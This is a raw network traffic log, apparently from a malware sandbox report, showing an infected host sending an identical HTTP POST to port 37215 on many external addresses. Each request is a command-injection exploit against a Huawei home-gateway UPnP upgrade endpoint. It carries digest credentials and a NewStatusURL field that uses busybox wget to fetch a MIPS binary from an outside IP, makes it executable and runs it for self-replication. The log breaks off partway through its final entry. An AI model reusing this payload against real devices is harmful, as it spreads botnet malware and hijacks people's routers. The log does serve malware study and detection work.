Jul 20, 2024 23:00:57.222163916 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	57796	197.249.133.131	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222163916 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	57480	78.242.93.228	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222163916 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	34808	41.19.255.66	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222163916 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	36788	69.74.218.35	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222163916 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	34718	197.89.108.63	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222207069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	39796	197.52.45.132	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222207069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	54738	41.9.160.205	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222229004 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	52740	149.227.100.108	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222254038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	34142	197.5.25.5	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222254038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	47332	197.146.199.163	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222279072 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 